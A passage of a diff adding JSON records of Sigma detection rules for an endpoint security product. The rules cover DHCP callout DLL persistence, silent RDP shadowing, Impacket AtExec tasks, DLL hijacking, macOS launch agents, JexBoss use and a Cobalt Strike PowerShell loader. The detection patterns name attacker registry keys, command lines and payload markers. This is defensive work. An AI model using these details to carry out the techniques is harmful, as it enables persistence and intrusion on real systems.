+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9e9f7788-18a6-4b60-8051-1b9eb773f848",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072016Z",
+  "creation_date": "2026-03-23T11:45:34.072018Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072022Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html"
+  ],
+  "name": "t1112_persistence_registry_dhcp_callout.yml",
+  "content": "title: DHCP Server Callout DLL Persistence Added\nid: 9e9f7788-18a6-4b60-8051-1b9eb773f848\ndescription: |\n    Detects modifications to DHCP server configuration registry keys related to Callout DLL installation.\n    This technique allows attackers to load malicious DLLs by abusing DHCP server's Callout DLL functionality, achieving code execution in the context of the DHCP service after service restart.\n    It is recommended to investigate any DHCP server Callout DLL modifications, and to verify the legitimacy and signing of installed DLLs.\nreferences:\n    - https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html\ndate: 2020/10/02\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\DHCPServer\\Parameters\\CalloutDlls'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\DHCPServer\\Parameters\\CalloutEnabled'\n    exclusion:\n        Details:\n            - '(Empty)'\n            - 'DWORD (0x00000000)'\n    condition: selection and not exclusion\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9e9f7788-18a6-4b60-8051-1b9eb773f848",
+  "rule_name": "DHCP Server Callout DLL Persistence Added",
+  "rule_description": "Detects modifications to DHCP server configuration registry keys related to Callout DLL installation.\nThis technique allows attackers to load malicious DLLs by abusing DHCP server's Callout DLL functionality, achieving code execution in the context of the DHCP service after service restart.\nIt is recommended to investigate any DHCP server Callout DLL modifications, and to verify the legitimacy and signing of installed DLLs.\n",
+  "rule_creation_date": "2020-10-02",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9eb14058-3136-4f42-b295-b159ce63b711",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620230Z",
+  "creation_date": "2026-03-23T11:45:34.620232Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620236Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing",
+    "https://swarm.ptsecurity.com/remote-desktop-services-shadowing/",
+    "https://attack.mitre.org/techniques/T1563/002/"
+  ],
+  "name": "t1112_rdp_shadowing_enabled.yml",
+  "content": "title: Silent RDP Shadowing Enabled via Registry\nid: 9eb14058-3136-4f42-b295-b159ce63b711\ndescription: |\n    Detects a registry change effectively enabling the RDP Shadowing mechanism in the current machine.\n    This can be used by attackers to spy or hijack an user's RDP session, as a means of acquiring credentials or moving laterally through the network.\n    The registry values indicate different levels of user control over being shadowed:\n    0 - No remote control allowed;\n    1 - Full Control with user's permission;\n    2 - Full Control without user's permission;\n    3 - View Session with user's permission;\n    4 - View Session without user's permission.\n    This may be a legitimate action from a tech support team.\n    It is recommended to analyze the process responsible for the registry modification to determine the legitimacy of this action.\nreferences:\n    - https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing\n    - https://swarm.ptsecurity.com/remote-desktop-services-shadowing/\n    - https://attack.mitre.org/techniques/T1563/002/\ndate: 2023/08/25\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1563.002\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\\Shadow'\n        Details|contains: '?WORD' # Non-zero values work with different effects\n\n    filter_values:\n        Details:\n            - 'DWORD (0x00000000)' # Disabled or request user permissions\n            - 'DWORD (0x00000001)'\n            - 'DWORD (0x00000003)'\n\n    filter_empty:\n        Details:\n            - ''\n            - '(Empty)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9eb14058-3136-4f42-b295-b159ce63b711",
+  "rule_name": "Silent RDP Shadowing Enabled via Registry",
+  "rule_description": "Detects a registry change effectively enabling the RDP Shadowing mechanism in the current machine.\nThis can be used by attackers to spy or hijack an user's RDP session, as a means of acquiring credentials or moving laterally through the network.\nThe registry values indicate different levels of user control over being shadowed:\n0 - No remote control allowed;\n1 - Full Control with user's permission;\n2 - Full Control without user's permission;\n3 - View Session with user's permission;\n4 - View Session without user's permission.\nThis may be a legitimate action from a tech support team.\nIt is recommended to analyze the process responsible for the registry modification to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2023-08-25",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1563.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9ec35ca1-e7b1-4bbc-a829-98e3e48067dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624462Z",
+  "creation_date": "2026-03-23T11:45:34.624464Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624468Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/fortra/impacket/blob/master/examples/atexec.py",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_atexec_scheduled_task_created.yml",
+  "content": "title: AtExec Scheduled Task Created\nid: 9ec35ca1-e7b1-4bbc-a829-98e3e48067dc\ndescription: |\n    Detects scheduled tasks created by AtExec, a tool from the Impacket suite used for remote command execution via scheduled tasks.\n    AtExec creates distinctive scheduled tasks with specific characteristics including a hardcoded StartBoundary timestamp (2015-07-15T20:35:13.2757294) and command-lines that redirect output to temporary files in %windir%\\Temp\\.\n    This technique is commonly used by attackers for lateral movement and remote code execution on Windows systems.\n    It is recommended to investigate the source of the scheduled task creation, review the task content and command line for malicious activity, and check for related lateral movement indicators on both source and target systems.\nreferences:\n    - https://github.com/fortra/impacket/blob/master/examples/atexec.py\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2025/11/07\nmodified: 2025/11/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.lateral_movement\n    - attack.t1053.005\n    - classification.Windows.Source.ScheduledTask\n    - classification.Windows.HackTool.Impacket\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: scheduled_task\ndetection:\n    selection_operation:\n        OperationType: 'create'\n\n    selection_atexec:\n        - FirstActionCommandLine: 'cmd.exe /C * > %windir%\\Temp\\\\????????.tmp 2>&1'\n        - TaskContent|contains: '<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9ec35ca1-e7b1-4bbc-a829-98e3e48067dc",
+  "rule_name": "AtExec Scheduled Task Created",
+  "rule_description": "Detects scheduled tasks created by AtExec, a tool from the Impacket suite used for remote command execution via scheduled tasks.\nAtExec creates distinctive scheduled tasks with specific characteristics including a hardcoded StartBoundary timestamp (2015-07-15T20:35:13.2757294) and command-lines that redirect output to temporary files in %windir%\\Temp\\.\nThis technique is commonly used by attackers for lateral movement and remote code execution on Windows systems.\nIt is recommended to investigate the source of the scheduled task creation, review the task content and command line for malicious activity, and check for related lateral movement indicators on both source and target systems.\n",
+  "rule_creation_date": "2025-11-07",
+  "rule_modified_date": "2025-11-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9ec5d550-39ee-4097-b20d-5f4d170024f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092665Z",
+  "creation_date": "2026-03-23T11:45:34.092667Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092672Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_spectrum.yml",
+  "content": "title: DLL Hijacking via spectrum.exe\nid: 9ec5d550-39ee-4097-b20d-5f4d170024f2\ndescription: |\n    Detects potential Windows DLL Hijacking via spectrum.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'spectrum.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\SpectrumSyncClient.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9ec5d550-39ee-4097-b20d-5f4d170024f2",
+  "rule_name": "DLL Hijacking via spectrum.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via spectrum.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9eef92d3-30f8-41cf-aef3-2097a98e42ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617301Z",
+  "creation_date": "2026-03-23T11:45:34.617304Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617308Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/001/"
+  ],
+  "name": "t1543_001_launch_agents_modified.yml",
+  "content": "title: Launch Agent Modified\nid: 9eef92d3-30f8-41cf-aef3-2097a98e42ee\ndescription: |\n    Detects a modification of a launch agent.\n    Adversaries may modify existing launch agents in order to install a backdoor.\n    It is recommended to check if the process making the modification has legitimate reason to do it.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/001/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.001\n    - attack.defense_evasion\n    - attack.t1647\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        - Path|startswith:\n            - '/System/Library/LaunchAgents/'\n            - '/Library/LaunchAgents/'\n            - '/Users/*/Library/LaunchAgents/'\n        - TargetPath|startswith:\n            - '/System/Library/LaunchAgents/'\n            - '/Library/LaunchAgents/'\n            - '/Users/*/Library/LaunchAgents/'\n    selection_process:\n        ProcessImage|contains: '?'\n\n    filter_access:\n        Kind:\n            - 'read'\n            - 'remove'\n            - 'chmod'\n            - 'chown'\n            - 'create'\n\n    filter_nosync:\n        Path|contains: '.dat.nosync'\n\n    exclusion_airwatch:\n        Image: '/Library/Application Support/AirWatch/hubd'\n\n    exclusion_jamf:\n        Image:\n            - '/usr/local/jamf/bin/jamf'\n            - '/Library/Application Support/JAMF/Remote Assist/connect/jamfRemoteAssist'\n\n    exclusion_cp:\n        Image: '/bin/cp'\n\n    exclusion_teamviewer:\n        Image: '/Library/PrivilegedHelperTools/com.teamviewer.Helper'\n\n    # TODO : when signature available uncomment this and remove the next exclusion\n    # exclusion_app:\n    #     Image|startswith:\n    #         - '/Application'\n    #         - '/Users/*/Library/Application Support/'\n    #     ProcessSigned: 'true'\n    exclusion_finder:\n        ProcessImage: '/system/library/coreservices/finder.app/contents/macos/finder'\n\n    exclusion_common_folders:\n        - ProcessImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/opt/homebrew/'\n        - ProcessParentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/opt/homebrew/'\n        - ProcessGrandparentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/opt/homebrew/'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9eef92d3-30f8-41cf-aef3-2097a98e42ee",
+  "rule_name": "Launch Agent Modified",
+  "rule_description": "Detects a modification of a launch agent.\nAdversaries may modify existing launch agents in order to install a backdoor.\nIt is recommended to check if the process making the modification has legitimate reason to do it.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.001",
+    "attack.t1647"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9f09d436-4bef-4f87-94a3-3a0bdbc7d7bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077353Z",
+  "creation_date": "2026-03-23T11:45:34.077355Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077360Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/joaomatosf/jexboss",
+    "https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-312A",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "t1190_jexboss_usage.yml",
+  "content": "title: Possible JexBoss Execution\nid: 9f09d436-4bef-4f87-94a3-3a0bdbc7d7bb\ndescription: |\n    Detects the execution of JexBoss.\n    JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://github.com/joaomatosf/jexboss\n    - https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-312A\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2022/05/23\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.JexBoss\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine:\n            - 'cmd.exe /C uname -a'\n            - 'cmd.exe /C cat /etc/issue'\n            - 'cmd.exe /C id'\n        ParentCommandLine|contains: 'jboss'\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9f09d436-4bef-4f87-94a3-3a0bdbc7d7bb",
+  "rule_name": "Possible JexBoss Execution",
+  "rule_description": "Detects the execution of JexBoss.\nJexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2022-05-23",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9f0f3944-c7d2-4c5f-888b-bac198e03921",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083954Z",
+  "creation_date": "2026-03-23T11:45:34.083963Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083968Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://gchq.github.io/CyberChef/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "t1059_001_cobalt_powershell_payload.yml",
+  "content": "title: Cobalt Strike PowerShell Payload Detected\nid: 9f0f3944-c7d2-4c5f-888b-bac198e03921\ndescription: |\n    Detects the standard Cobalt Strike PowerShell payload template.\n    The goal of the payload is to create a connection to the team server to allow an attacker to interact with the machine.\n    The payload can be easily decoded with CyberChef tool.\n    It is recommended to investigate the process tree for suspicious activities.\nreferences:\n    - https://gchq.github.io/CyberChef/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/software/S0154/\ndate: 2021/11/23\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1106\n    - attack.s0154\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n      PowershellCommand|contains|all:\n        # .NET APIs\n        - 'GetMethod'\n        - 'GetDelegateForFunctionPointer'\n\n        # Native APIs\n        - 'VirtualAlloc'\n        - 'GetProcAddress'\n        - 'GetModuleHandle'\n\n        # payload XOR loop\n        - '-bxor 35'\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9f0f3944-c7d2-4c5f-888b-bac198e03921",
+  "rule_name": "Cobalt Strike PowerShell Payload Detected",
+  "rule_description": "Detects the standard Cobalt Strike PowerShell payload template.\nThe goal of the payload is to create a connection to the team server to allow an attacker to interact with the machine.\nThe payload can be easily decoded with CyberChef tool.\nIt is recommended to investigate the process tree for suspicious activities.\n",
+  "rule_creation_date": "2021-11-23",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1106"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9f13ba3c-0293-498b-b769-b5966fb5c0ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
